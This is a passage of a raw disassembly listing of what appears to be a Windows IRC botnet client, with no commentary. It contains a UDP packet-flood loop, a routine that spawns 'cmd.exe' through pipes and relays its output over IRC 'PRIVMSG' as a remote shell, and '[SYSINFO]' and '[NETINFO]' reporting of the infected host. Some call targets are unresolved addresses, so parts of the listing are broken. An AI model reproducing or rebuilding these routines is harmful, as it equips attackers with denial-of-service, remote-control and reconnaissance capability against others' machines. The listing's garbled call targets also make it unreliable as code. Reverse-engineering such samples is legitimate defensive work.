[ebp+var_4] push [ebp+arg_0] call dword_43F58C inc esi cmp esi, [ebp+var_40] jl short loc_40B086 loc_40B0AC: ; CODE XREF: sub_40AF86+FEj push [ebp+arg_0] call dword_43F720 lea eax, [ebp+var_C0] push eax lea eax, [ebp+var_344] push offset unk_42DA9C push eax call sub_4172B0 add esp, 0Ch cmp [ebp+var_28], ebx jnz short loc_40B0F5 push ebx lea eax, [ebp+var_344] push [ebp+var_2C] push eax lea eax, [ebp+var_140] push eax push [ebp+var_144] call sub_40D679 add esp, 14h loc_40B0F5: ; CODE XREF: sub_40AF86+14Dj lea eax, [ebp+var_344] push eax call sub_40BF6D push [ebp+var_30] call sub_417078 pop ecx pop ecx push ebx call near ptr 25D0362h nop sub_40AF86 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40B112 proc near ; DATA XREF: sub_40EE72+2FA9o var_10312 = byte ptr -10312h var_10310 = byte ptr -10310h var_334 = byte ptr -334h var_134 = dword ptr -134h var_130 = byte ptr -130h var_B0 = byte ptr -0B0h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_10 = word ptr -10h var_E = word ptr -0Eh var_C = dword ptr -0Ch arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, 10310h call sub_417B30 mov eax, [ebp+arg_0] push ebx push esi push edi push 49h mov esi, eax pop ecx lea edi, [ebp+var_134] rep movsd push 1 pop esi mov [eax+120h], esi nop call near ptr 25D0889h push eax call sub_417302 pop ecx push 11h push 2 push 2 call dword_43F6E8 mov ebx, eax xor edi, edi push 10h lea eax, [ebp+var_10] push edi push eax call sub_417330 add esp, 0Ch lea eax, [ebp+var_B0] mov [ebp+var_10], 2 push eax call dword_43F6A8 cmp eax, 0FFFFFFFFh mov [ebp+arg_0], eax jnz short loc_40B1F7 lea eax, [ebp+var_B0] push eax call dword_43F6EC cmp eax, edi jnz short loc_40B1F0 lea eax, [ebp+var_B0] push eax lea eax, [ebp+var_334] push offset dword_42DB4C push eax call sub_4172B0 add esp, 0Ch cmp [ebp+var_18], edi jnz short loc_40B1D3 push edi lea eax, [ebp+var_334] push [ebp+var_1C] push eax lea eax, [ebp+var_130] push eax push [ebp+var_134] call sub_40D679 add esp, 14h loc_40B1D3: ; CODE XREF: sub_40B112+9Fj lea eax, [ebp+var_334] push eax call sub_40BF6D push [ebp+var_20] call sub_417078 pop ecx pop ecx push esi nop call near ptr 25D0362h loc_40B1F0: ; CODE XREF: sub_40B112+7Fj mov eax, [eax+0Ch] mov eax, [eax] jmp short loc_40B1FA ; --------------------------------------------------------------------------- loc_40B1F7: ; CODE XREF: sub_40B112+6Ej lea eax, [ebp+arg_0] loc_40B1FA: ; CODE XREF: sub_40B112+E3j mov eax, [eax] cmp [ebp+var_24], edi mov [ebp+var_C], eax jnz short loc_40B215 call sub_41730C cdq mov ecx, 0FFDCh idiv ecx inc edx push edx jmp short loc_40B218 ; --------------------------------------------------------------------------- loc_40B215: ; CODE XREF: sub_40B112+F0j push [ebp+var_24] loc_40B218: ; CODE XREF: sub_40B112+101j call dword_43F668 cmp [ebp+var_24], esi mov [ebp+var_E], ax jge short loc_40B22A mov [ebp+var_24], esi loc_40B22A: ; CODE XREF: sub_40B112+113j mov eax, 0FFFFh cmp [ebp+var_24], eax jle short loc_40B237 mov [ebp+var_24], eax loc_40B237: ; CODE XREF: sub_40B112+120j mov eax, [ebp+var_30] push 0Ah cdq pop ecx idiv ecx cmp [ebp+var_28], edi mov [ebp+var_30], eax jnz short loc_40B24B mov [ebp+var_28], esi loc_40B24B: ; CODE XREF: sub_40B112+134j xor esi, esi cmp [ebp+var_2C], edi jle short loc_40B26C loc_40B252: ; CODE XREF: sub_40B112+158j call sub_41730C cdq mov ecx, 0FFh idiv ecx inc esi cmp esi, [ebp+var_2C] mov [ebp+esi-10311h], dl jl short loc_40B252 loc_40B26C: ; CODE XREF: sub_40B112+13Ej ; sub_40B112+19Cj ... mov eax, [ebp+var_30] dec [ebp+var_30] test eax, eax jle short loc_40B2CB push 0Bh pop esi loc_40B279: ; CODE XREF: sub_40B112+197j lea eax, [ebp+var_10] push 10h push eax push edi call sub_41730C push 0Ah cdq pop ecx idiv ecx mov eax, [ebp+var_2C] sub eax, edx push eax lea eax, [ebp+var_10310] push eax push ebx call dword_43F6CC push [ebp+var_28] nop call near ptr 25E041Ch dec esi jnz short loc_40B279 cmp [ebp+var_24], edi jnz short loc_40B26C call sub_41730C cdq mov ecx, 0FFDCh idiv ecx inc edx push edx call dword_43F668 mov [ebp+var_E], ax jmp short loc_40B26C ; --------------------------------------------------------------------------- loc_40B2CB: ; CODE XREF: sub_40B112+162j lea eax, [ebp+var_B0] push eax lea eax, [ebp+var_334] push offset dword_42DB10 push eax call sub_4172B0 add esp, 0Ch cmp [ebp+var_18], edi jnz short loc_40B30B push edi lea eax, [ebp+var_334] push [ebp+var_1C] push eax lea eax, [ebp+var_130] push eax push [ebp+var_134] call sub_40D679 add esp, 14h loc_40B30B: ; CODE XREF: sub_40B112+1D7j lea eax, [ebp+var_334] push eax call sub_40BF6D push [ebp+var_20] call sub_417078 pop ecx pop ecx push edi nop call near ptr 25D0362h sub_40B112 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_40B328 proc near ; CODE XREF: sub_40B358+2Ap ; sub_40B390+7Ep ... mov eax, dword_43F9B4 push esi mov esi, dword_424078 cmp eax, 0FFFFFFFFh jz short loc_40B33C push eax call esi loc_40B33C: ; CODE XREF: sub_40B328+Fj mov eax, dword_43F9BC cmp eax, 0FFFFFFFFh jz short loc_40B349 push eax call esi loc_40B349: ; CODE XREF: sub_40B328+1Cj mov eax, dword_43F9B0 cmp eax, 0FFFFFFFFh jz short loc_40B356 push eax call esi loc_40B356: ; CODE XREF: sub_40B328+29j pop esi retn sub_40B328 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40B358 proc near ; CODE XREF: sub_40C351+14Ap ; sub_40EE72+4883p var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push [ebp+arg_0] call sub_417AB0 pop ecx mov [ebp+var_4], eax lea ecx, [ebp+var_4] push 0 push ecx push eax push [ebp+arg_0] push dword_43F9B8 nop call near ptr 2620000h test eax, eax jnz short loc_40B38B call sub_40B328 xor eax, eax leave retn ; --------------------------------------------------------------------------- loc_40B38B: ; CODE XREF: sub_40B358+28j push 1 pop eax leave retn sub_40B358 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40B390 proc near ; CODE XREF: sub_40B417+D3p ; sub_40B417+F2p ... var_200 = byte ptr -200h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 200h push offset byte_43C80C push [ebp+arg_4] call sub_4176D0 pop ecx test eax, eax pop ecx jz short loc_40B3D3 push 7D0h nop call near ptr 25E041Ch push [ebp+arg_8] lea eax, [ebp+var_200] push [ebp+arg_4] push offset aPrivmsgSS ; "PRIVMSG %s :%s\r" push eax call sub_4172B0 add esp, 10h jmp short loc_40B3EA ; --------------------------------------------------------------------------- loc_40B3D3: ; CODE XREF: sub_40B390+1Aj push [ebp+arg_8] lea eax, [ebp+var_200] push offset aS_1 ; "%s" push eax call sub_4172B0 add esp, 0Ch loc_40B3EA: ; CODE XREF: sub_40B390+41j lea eax, [ebp+var_200] push 0 push eax call sub_417AB0 pop ecx push eax lea eax, [ebp+var_200] push eax push [ebp+arg_0] call dword_43F6B8 test eax, eax jg short loc_40B413 call sub_40B328 loc_40B413: ; CODE XREF: sub_40B390+7Cj xor eax, eax leave retn sub_40B390 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40B417 proc near ; DATA XREF: sub_40B56C+170o var_20C = byte ptr -20Ch var_C = byte ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 20Ch push ebx push esi push edi mov esi, 200h xor edi, edi mov ebx, offset dword_43F9C0 loc_40B42F: ; CODE XREF: sub_40B417+79j ; sub_40B417+DBj push esi lea eax, [ebp+var_20C] push edi push eax call sub_417330 add esp, 0Ch lea eax, [ebp+var_4] push edi push edi push eax lea eax, [ebp+var_20C] push esi push eax push dword_43F9B4 call near ptr 2760449h nop test eax, eax jz loc_40B4FD cmp [ebp+var_4], edi jnz short loc_40B492 lea eax, [ebp+var_8] push eax push dword_43F9B0 nop call near ptr 2760000h test eax, eax jz short loc_40B488 cmp [ebp+var_8], 103h jnz loc_40B521 loc_40B488: ; CODE XREF: sub_40B417+62j push 0Ah nop call near ptr 25E041Ch jmp short loc_40B42F ; --------------------------------------------------------------------------- loc_40B492: ; CODE XREF: sub_40B417+4Ej xor eax, eax cmp [ebp+var_4], edi jbe short loc_40B4A9 loc_40B499: ; CODE XREF: sub_40B417+90j cmp [ebp+eax+var_20C], 0Ah jz short loc_40B4F7 inc eax cmp eax, [ebp+var_4] jb short loc_40B499 loc_40B4A9: ; CODE XREF: sub_40B417+80j mov [ebp+var_4], esi loc_40B4AC: ; CODE XREF: sub_40B417+E4j push esi lea eax, [ebp+var_20C] push edi push eax call sub_417330 add esp, 0Ch lea eax, [ebp+var_C] push edi push eax push [ebp+var_4] lea eax, [ebp+var_20C] push eax push dword_43F9B4 nop call near ptr 2610000h test eax, eax jz short loc_40B549 lea eax, [ebp+var_20C] push eax push ebx push dword_43F9F4 call sub_40B390 add esp, 0Ch jmp loc_40B42F ; --------------------------------------------------------------------------- loc_40B4F7: ; CODE XREF: sub_40B417+8Aj inc eax mov [ebp+var_4], eax jmp short loc_40B4AC ; --------------------------------------------------------------------------- loc_40B4FD: ; CODE XREF: sub_40B417+45j push offset dword_42DC0C push ebx push dword_43F9F4 call sub_40B390 push [ebp+arg_0] call sub_417078 add esp, 10h push 1 nop call near ptr 25D0362h loc_40B521: ; CODE XREF: sub_40B417+6Bj call sub_40B328 push offset dword_42DBD4 push ebx push dword_43F9F4 call sub_40B390 push [ebp+arg_0] call sub_417078 add esp, 10h push edi nop call near ptr 25D0362h loc_40B549: ; CODE XREF: sub_40B417+C3j push offset dword_42DB94 push ebx push dword_43F9F4 call sub_40B390 push [ebp+arg_0] call sub_417078 add esp, 10h push edi nop call near ptr 25D0362h sub_40B417 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40B56C proc near ; CODE XREF: sub_40C351+99p ; sub_40EE72+5774p var_378 = byte ptr -378h var_178 = byte ptr -178h var_74 = dword ptr -74h var_48 = dword ptr -48h var_44 = word ptr -44h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = byte ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 378h push ebx push esi push edi call sub_40B328 xor esi, esi lea eax, [ebp+var_178] push esi push eax push 104h push esi push offset aCmd_exe ; "cmd.exe" push esi call dword_43F724 test eax, eax jz loc_40B666 push 1 lea eax, [ebp+var_1C] pop ebx mov edi, dword_424140 push esi push eax lea eax, [ebp+var_C] mov [ebp+var_1C], 0Ch push eax lea eax, [ebp+var_10] push eax mov [ebp+var_14], ebx mov [ebp+var_18], esi call edi test eax, eax jz loc_40B666 lea eax, [ebp+var_1C] push esi push eax lea eax, [ebp+var_8] push eax lea eax, [ebp+var_4] push eax call edi test eax, eax jz loc_40B666 mov edi, dword_42413C push 3 push esi push esi push offset dword_43F9B8 call edi push eax push [ebp+var_8] call edi push eax nop call near ptr 276084Fh test eax, eax jz short loc_40B666 push 10h lea eax, [ebp+var_2C] push esi push eax call sub_417330 push 44h lea eax, [ebp+var_74] pop edi push edi push esi push eax call sub_417330 mov eax, [ebp+var_4] add esp, 18h mov [ebp+var_3C], eax mov eax, [ebp+var_C] mov [ebp+var_38], eax mov [ebp+var_34], eax lea eax, [ebp+var_2C] mov [ebp+var_74], edi push eax lea eax, [ebp+var_74] push eax push esi push esi push esi push ebx push esi mov ebx, offset byte_43C80C push esi lea eax, [ebp+var_178] push ebx push eax mov [ebp+var_48], 101h mov [ebp+var_44], si nop call near ptr 274060Ah test eax, eax jnz short loc_40B66E loc_40B666: ; CODE XREF: sub_40B56C+2Fj ; sub_40B56C+5Cj ... or eax, 0FFFFFFFFh jmp loc_40B71C ; --------------------------------------------------------------------------- loc_40B66E: ; CODE XREF: sub_40B56C+F8j push [ebp+var_4] mov edi, dword_424078 call edi mov eax, [ebp+var_10] push [ebp+var_28] mov dword_43F9B4, eax mov eax, [ebp+var_8] mov dword_43F9BC, eax mov eax, [ebp+var_2C] mov dword_43F9B0, eax call edi mov eax, [ebp+arg_0] cmp [ebp+arg_4], esi mov dword_43F9F4, eax jz short loc_40B6A8 push [ebp+arg_4] jmp short loc_40B6A9 ; --------------------------------------------------------------------------- loc_40B6A8: ; CODE XREF: sub_40B56C+135j push ebx loc_40B6A9: ; CODE XREF: sub_40B56C+13Aj push offset dword_43F9C0 call sub_4172B0 pop ecx pop ecx push esi push 7 push offset dword_42DC90 call sub_416D5C mov edi, eax mov ecx, [ebp+var_24] imul edi, 234h add esp, 0Ch mov dword_4450C8[edi], ecx lea ecx, [ebp+var_30] push ecx push esi push eax push offset sub_40B417 push esi push esi call near ptr 2660BD0h nop cmp eax, esi mov dword_4450D4[edi], eax jnz short loc_40B71A nop call near ptr 2630B7Ah push eax lea eax, [ebp+var_378] push offset dword_42DC4C push eax call sub_4172B0 lea eax, [ebp+var_378] push eax call sub_40BF6D add esp, 10h loc_40B71A: ; CODE XREF: sub_40B56C+185j xor eax, eax loc_40B71C: ; CODE XREF: sub_40B56C+FDj pop edi pop esi pop ebx leave retn sub_40B56C endp ; =============== S U B R O U T I N E ======================================= sub_40B721 proc near ; CODE XREF: sub_407110+74p ; sub_40B8D8+217p ... arg_0 = dword ptr 4 push ebx push ebp push esi push edi call near ptr 25D0889h nop xor edx, edx mov ecx, 3E8h div ecx mov ebx, 15180h xor edx, edx mov esi, ebx mov edi, 0E10h mov ebp, edi push 3Ch mov ecx, eax sub ecx, [esp+14h+arg_0] mov eax, ecx div esi mov esi, edx xor edx, edx mov eax, esi div ebp pop ebp mov eax, edx xor edx, edx div ebp xor edx, edx push eax mov eax, esi div edi xor edx, edx mov esi, offset dword_43F9FC push eax mov eax, ecx div ebx push eax push offset aDdDhDm ; "%dd %dh %dm" push 32h push esi call sub_41782A add esp, 18h mov eax, esi pop edi pop esi pop ebp pop ebx retn sub_40B721 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40B78A proc near ; CODE XREF: sub_409037+24p var_94 = dword ptr -94h var_90 = dword ptr -90h var_8C = dword ptr -8Ch var_84 = dword ptr -84h push ebp mov ebp, esp sub esp, 94h lea eax, [ebp+var_94] push esi push eax xor esi, esi mov [ebp+var_94], 94h nop call near ptr 2771450h test eax, eax jz short loc_40B81D cmp [ebp+var_90], 4 jnz short loc_40B7F3 cmp [ebp+var_8C], esi jnz short loc_40B7DB cmp [ebp+var_84], 1 jnz short loc_40B7CE push 1 pop esi loc_40B7CE: ; CODE XREF: sub_40B78A+3Fj cmp [ebp+var_84], 2 jnz short loc_40B81D push 1 jmp short loc_40B81C ; --------------------------------------------------------------------------- loc_40B7DB: ; CODE XREF: sub_40B78A+36j cmp [ebp+var_8C], 0Ah jnz short loc_40B7E8 loc_40B7E4: ; CODE XREF: sub_40B78A+78j push 2 jmp short loc_40B81C ; --------------------------------------------------------------------------- loc_40B7E8: ; CODE XREF: sub_40B78A+58j cmp [ebp+var_8C], 5Ah jnz short loc_40B81D jmp short loc_40B80D ; --------------------------------------------------------------------------- loc_40B7F3: ; CODE XREF: sub_40B78A+2Ej cmp [ebp+var_90], 5 jnz short loc_40B81D cmp [ebp+var_8C], esi jz short loc_40B7E4 cmp [ebp+var_8C], 1 jnz short loc_40B811 loc_40B80D: ; CODE XREF: sub_40B78A+67j push 3 jmp short loc_40B81C ; --------------------------------------------------------------------------- loc_40B811: ; CODE XREF: sub_40B78A+81j cmp [ebp+var_8C], 2 jnz short loc_40B81D push 7 loc_40B81C: ; CODE XREF: sub_40B78A+4Fj ; sub_40B78A+5Cj ... pop esi loc_40B81D: ; CODE XREF: sub_40B78A+25j ; sub_40B78A+4Bj ... mov eax, esi pop esi leave retn sub_40B78A endp ; =============== S U B R O U T I N E ======================================= sub_40B822 proc near ; CODE XREF: sub_40B8D8+290p push ebx push esi push edi mov esi, 0F4240h loc_40B82A: ; CODE XREF: sub_40B822+2Fj ; sub_40B822+35j rdtsc push 3E8h mov edi, edx mov ebx, eax nop call near ptr 25E041Ch rdtsc sub eax, ebx push 0 sbb edx, edi push esi push edx push eax call sub_419250 mov edi, edx mov ebx, eax test edi, edi ja short loc_40B82A jb short loc_40B859 cmp ebx, esi ja short loc_40B82A loc_40B859: ; CODE XREF: sub_40B822+31j push 0 push 64h push edi push ebx call sub_4191D0 mov ecx, edx push 64h xor edx, edx mov esi, eax test ecx, ecx pop eax ja short loc_40B8CC jb short loc_40B878 cmp esi, 50h jnb short loc_40B87D loc_40B878: ; CODE XREF: sub_40B822+4Fj push 4Bh xor edx, edx pop eax loc_40B87D: ; CODE XREF: sub_40B822+54j test ecx, ecx ja short loc_40B8CC jb short loc_40B888 cmp esi, 47h jnb short loc_40B88D loc_40B888: ; CODE XREF: sub_40B822+5Fj push 42h xor edx, edx pop eax loc_40B88D: ; CODE XREF: sub_40B822+64j test ecx, ecx ja short loc_40B8CC jb short loc_40B898 cmp esi, 37h jnb short loc_40B89D loc_40B898: ; CODE XREF: sub_40B822+6Fj push 32h xor edx, edx pop eax loc_40B89D: ; CODE XREF: sub_40B822+74j test ecx, ecx ja short loc_40B8CC jb short loc_40B8A8 cmp esi, 26h jnb short loc_40B8AD loc_40B8A8: ; CODE XREF: sub_40B822+7Fj push 21h xor edx, edx pop eax loc_40B8AD: ; CODE XREF: sub_40B822+84j test ecx, ecx ja short loc_40B8CC jb short loc_40B8B8 cmp esi, 1Eh jnb short loc_40B8BD loc_40B8B8: ; CODE XREF: sub_40B822+8Fj push 19h xor edx, edx pop eax loc_40B8BD: ; CODE XREF: sub_40B822+94j test ecx, ecx ja short loc_40B8CC jb short loc_40B8C8 cmp esi, 0Ah jnb short loc_40B8CC loc_40B8C8: ; CODE XREF: sub_40B822+9Fj xor eax, eax xor edx, edx loc_40B8CC: ; CODE XREF: sub_40B822+4Dj ; sub_40B822+5Dj ... sub eax, esi sbb edx, ecx add eax, ebx adc edx, edi pop edi pop esi pop ebx retn sub_40B822 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40B8D8 proc near ; CODE XREF: sub_40EE72+59EEp var_7E8 = byte ptr -7E8h var_668 = byte ptr -668h var_5E8 = byte ptr -5E8h var_568 = byte ptr -568h var_4E8 = byte ptr -4E8h var_3E4 = byte ptr -3E4h var_2E8 = byte ptr -2E8h var_25C = word ptr -25Ch var_25A = byte ptr -25Ah var_15C = byte ptr -15Ch var_114 = byte ptr -114h var_CC = dword ptr -0CCh var_C8 = dword ptr -0C8h var_C4 = dword ptr -0C4h var_C0 = dword ptr -0C0h var_BC = dword ptr -0BCh var_B8 = byte ptr -0B8h var_38 = byte ptr -38h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_18 = byte ptr -18h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 7E8h push ebx push esi lea eax, [ebp+var_CC] push edi push eax mov [ebp+var_4], offset byte_43C80C mov [ebp+var_CC], 94h call near ptr 2771450h nop xor ebx, ebx cmp [ebp+var_C8], 4 jnz short loc_40B95F cmp [ebp+var_C4], ebx jnz short loc_40B93B cmp [ebp+var_BC], 1 jnz short loc_40B925 mov [ebp+var_4], offset a95 ; "95" loc_40B925: ; CODE XREF: sub_40B8D8+44j cmp [ebp+var_BC], 2 jnz loc_40B9DA mov [ebp+var_4], offset aNt ; "NT" jmp short loc_40B9AB ; --------------------------------------------------------------------------- loc_40B93B: ; CODE XREF: sub_40B8D8+3Bj cmp [ebp+var_C4], 0Ah jnz short loc_40B94D mov [ebp+var_4], offset a98 ; "98" jmp short loc_40B9A2 ; --------------------------------------------------------------------------- loc_40B94D: ; CODE XREF: sub_40B8D8+6Aj cmp [ebp+var_C4], 5Ah jnz short loc_40B99B mov [ebp+var_4], offset aMe ; "ME" jmp short loc_40B9A2 ; --------------------------------------------------------------------------- loc_40B95F: ; CODE XREF: sub_40B8D8+33j cmp [ebp+var_C8], 5 jnz short loc_40B99B cmp [ebp+var_C4], ebx jnz short loc_40B979 mov [ebp+var_4], offset a2k ; "2K" jmp short loc_40B9A2 ; --------------------------------------------------------------------------- loc_40B979: ; CODE XREF: sub_40B8D8+96j cmp [ebp+var_C4], 1 jnz short loc_40B98B mov [ebp+var_4], offset aXp ; "XP" jmp short loc_40B9A2 ; --------------------------------------------------------------------------- loc_40B98B: ; CODE XREF: sub_40B8D8+A8j cmp [ebp+var_C4], 2 mov [ebp+var_4], offset a2003 ; "2003" jz short loc_40B9A2 loc_40B99B: ; CODE XREF: sub_40B8D8+7Cj ; sub_40B8D8+8Ej mov [ebp+var_4], offset dword_42DDDC loc_40B9A2: ; CODE XREF: sub_40B8D8+73j ; sub_40B8D8+85j ... cmp [ebp+var_BC], 2 jnz short loc_40B9DA loc_40B9AB: ; CODE XREF: sub_40B8D8+61j cmp [ebp+var_B8], bl jz short loc_40B9DA lea eax, [ebp+var_B8] push eax lea eax, [ebp+var_2E8] push [ebp+var_4] push offset dword_42DDD4 push eax call sub_4172B0 lea eax, [ebp+var_2E8] add esp, 10h mov [ebp+var_4], eax loc_40B9DA: ; CODE XREF: sub_40B8D8+54j ; sub_40B8D8+D1j ... mov ax, word_42DDD0 push 3Fh mov [ebp+var_25C], ax pop ecx xor eax, eax lea edi, [ebp+var_25A] rep stosd stosw mov eax, dword_43F554 mov [ebp+var_C], 100h cmp eax, ebx jz short loc_40BA13 lea ecx, [ebp+var_C] push ecx lea ecx, [ebp+var_25C] push ecx call eax loc_40BA13: ; CODE XREF: sub_40B8D8+12Cj push [ebp+arg_4] call sub_40AEE0 pop ecx push eax call dword_43F6A8 mov [ebp+var_8], eax push 2 lea eax, [ebp+var_8] push 4 push eax call dword_43F620 cmp eax, ebx jz short loc_40BA3C push dword ptr [eax] jmp short loc_40BA41 ; --------------------------------------------------------------------------- loc_40BA3C: ; CODE XREF: sub_40B8D8+15Ej push offset aCouldnTResolve ; "couldn't resolve host" loc_40BA41: ; CODE XREF: sub_40B8D8+162j lea eax, [ebp+var_3E4] push eax call sub_4172B0 pop ecx lea eax, [ebp+var_4E8] pop ecx push 104h push eax nop call near ptr 25E04A1h lea eax, [ebp+var_114] push 46h push eax push offset aDdMmmYyyy ; "dd:MMM:yyyy" push ebx mov esi, 409h push ebx push esi nop call near ptr 2660000h lea eax, [ebp+var_15C] push 46h push eax push offset aHhMmSs ; "HH:mm:ss" push ebx push ebx push esi call near ptr 2650000h nop push 20h lea eax, [ebp+var_38] push ebx push eax call sub_417330 add esp, 0Ch lea eax, [ebp+var_38] push eax nop call near ptr 2780000h push ebx push ebx lea eax, [ebp+var_18] push ebx push eax lea eax, [ebp+var_4E8] push eax call sub_4192B8 lea eax, [ebp+var_18] push eax lea eax, [ebp+var_7E8] push eax call sub_40D12A push 60h mov esi, eax pop ecx lea edi, [ebp+var_7E8] rep movsd push 60h lea esi, [ebp+var_7E8] pop ecx lea edi, [ebp+var_668] rep movsd push ebx call sub_40B721 add esp, 20h push eax lea eax, [ebp+var_15C] push eax lea eax, [ebp+var_114] push eax lea eax, [ebp+var_25C] push eax push [ebp+arg_4] call sub_40AEE0 pop ecx push eax lea eax, [ebp+var_3E4] push eax lea eax, [ebp+var_4E8] push eax lea eax, [ebp+var_5E8] push [ebp+var_C0] push [ebp+var_C4] push [ebp+var_C8] push [ebp+var_4] push eax lea eax, [ebp+var_568] push eax mov eax, [ebp+var_2C] shr eax, 0Ah push ebx push eax call sub_40D01A pop ecx pop ecx push eax mov eax, [ebp+var_30] shr eax, 0Ah push ebx push eax call sub_40D01A pop ecx pop ecx push eax call sub_40B822 push edx push eax push offset aSysinfoCpuI64u ; "[SYSINFO]: [CPU]: %I64uMHz. [RAM]: %sKB"... push 200h push [ebp+arg_0] call sub_41782A mov eax, [ebp+arg_0] add esp, 50h pop edi pop esi pop ebx leave retn sub_40B8D8 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40BB8C proc near ; CODE XREF: sub_40EE72+4557p ; sub_40EE72+5A1Fp var_8C = byte ptr -8Ch var_C = byte ptr -0Ch var_8 = byte ptr -8 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 8Ch push esi mov esi, 80h push esi lea eax, [ebp+var_8C] push 0 push eax call sub_417330 add esp, 0Ch cmp dword_43F750, 0 jnz short loc_40BBF8 push 0 lea eax, [ebp+var_8C] push esi push eax lea eax, [ebp+var_C] push eax call dword_43F538 test eax, eax jnz short loc_40BBE1 lea eax, [ebp+var_8C] push offset dword_42DE50 push eax call sub_4172B0 pop ecx pop ecx loc_40BBE1: ; CODE XREF: sub_40BB8C+40j test [ebp+var_C], 1 jz short loc_40BBEE push offset dword_42DE48 jmp short loc_40BBF3 ; --------------------------------------------------------------------------- loc_40BBEE: ; CODE XREF: sub_40BB8C+59j push offset off_42DE44 loc_40BBF3: ; CODE XREF: sub_40BB8C+60j lea eax, [ebp+var_8] jmp short loc_40BC10 ; --------------------------------------------------------------------------- loc_40BBF8: ; CODE XREF: sub_40BB8C+28j mov esi, offset off_42DE40 lea eax, [ebp+var_8] push esi push eax call sub_4172B0 pop ecx lea eax, [ebp+var_8C] pop ecx push esi loc_40BC10: ; CODE XREF: sub_40BB8C+6Aj push eax call sub_4172B0 pop ecx pop ecx push [ebp+arg_4] push [ebp+arg_8] call sub_40AEE0 pop ecx push eax lea eax, [ebp+var_8C] push eax lea eax, [ebp+var_8] push eax push offset aNetinfoTypeSS_ ; "[NETINFO]: [Type]: %s (%s). [IP Address"... push 200h push [ebp+arg_0] call sub_41782A mov eax, [ebp+arg_0] add esp, 1Ch pop esi leave retn sub_40BB8C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40BC4B proc near ; DATA XREF: sub_40EE72+4976o var_65C = byte ptr -65Ch var_55C = byte ptr -55Ch var_35C = dword ptr -35Ch var_358 = byte ptr -358h var_2D8 = byte ptr -2D8h var_258 = byte ptr -258h var_1D8 = dword ptr -1D8h var_1D4 = dword ptr -1D4h var_1D0 = dword ptr -1D0h var_1C8 = byte ptr -1C8h var_148 = byte ptr -148h var_C8 = byte ptr -0C8h var_48 = dword ptr -48h var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = word ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 65Ch mov eax, [ebp+arg_0] push ebx push esi push edi push 65h mov esi, eax pop ecx lea edi, [ebp+var_35C] rep movsd push 1 mov edi, 80h pop esi xor ebx, ebx mov [eax+190h], esi push edi lea eax, [ebp+var_148] push ebx push eax mov [ebp+var_C], ebx mov [ebp+var_4], ebx mov [ebp+var_8], offset dword_42DF80 call sub_417330 push edi lea eax, [ebp+var_1C8] push ebx push eax call sub_417330 push edi lea eax, [ebp+var_C8] push ebx push eax call sub_417330 push 100h lea eax, [ebp+var_65C] push ebx push eax call sub_417330 push 3Ch lea eax, [ebp+var_48] pop edi push edi push ebx push eax call sub_417330 add esp, 3Ch lea eax, [ebp+var_48] mov [ebp+var_48], edi mov [ebp+var_34], esi push eax lea eax, [ebp+var_358] push ebx push eax mov [ebp+var_28], esi mov [ebp+var_20], esi mov [ebp+var_18], esi call sub_417AB0 pop ecx push eax lea eax, [ebp+var_358] push eax call dword_43F570 test eax, eax jz loc_40BDE5 cmp [ebp+var_34], ebx jbe short loc_40BD22 push [ebp+var_34] lea eax, [ebp+var_148] push [ebp+var_38] push eax call sub_418C10 add esp, 0Ch loc_40BD22: ; CODE XREF: sub_40BC4B+C0j cmp [ebp+var_28], ebx movzx esi, [ebp+var_30] jbe short loc_40BD40 push [ebp+var_28] lea eax, [ebp+var_1C8] push [ebp+var_2C] push eax call sub_418C10 add esp, 0Ch loc_40BD40: ; CODE XREF: sub_40BC4B+DEj cmp [ebp+var_20], ebx jbe short loc_40BD5A push [ebp+var_20] lea eax, [ebp+var_C8] push [ebp+var_24] push eax call sub_418C10 add esp, 0Ch loc_40BD5A: ; CODE XREF: sub_40BC4B+F8j cmp [ebp+var_18], ebx jbe short loc_40BD74 push [ebp+var_18] lea eax, [ebp+var_65C] push [ebp+var_1C] push eax call sub_418C10 add esp, 0Ch loc_40BD74: ; CODE XREF: sub_40BC4B+112j push ebx push ebx lea eax, [ebp+var_C8] push 3 push eax lea eax, [ebp+var_1C8] push eax lea eax, [ebp+var_148] push esi push eax push dword_43F618 call dword_43F63C mov esi, eax cmp esi, ebx 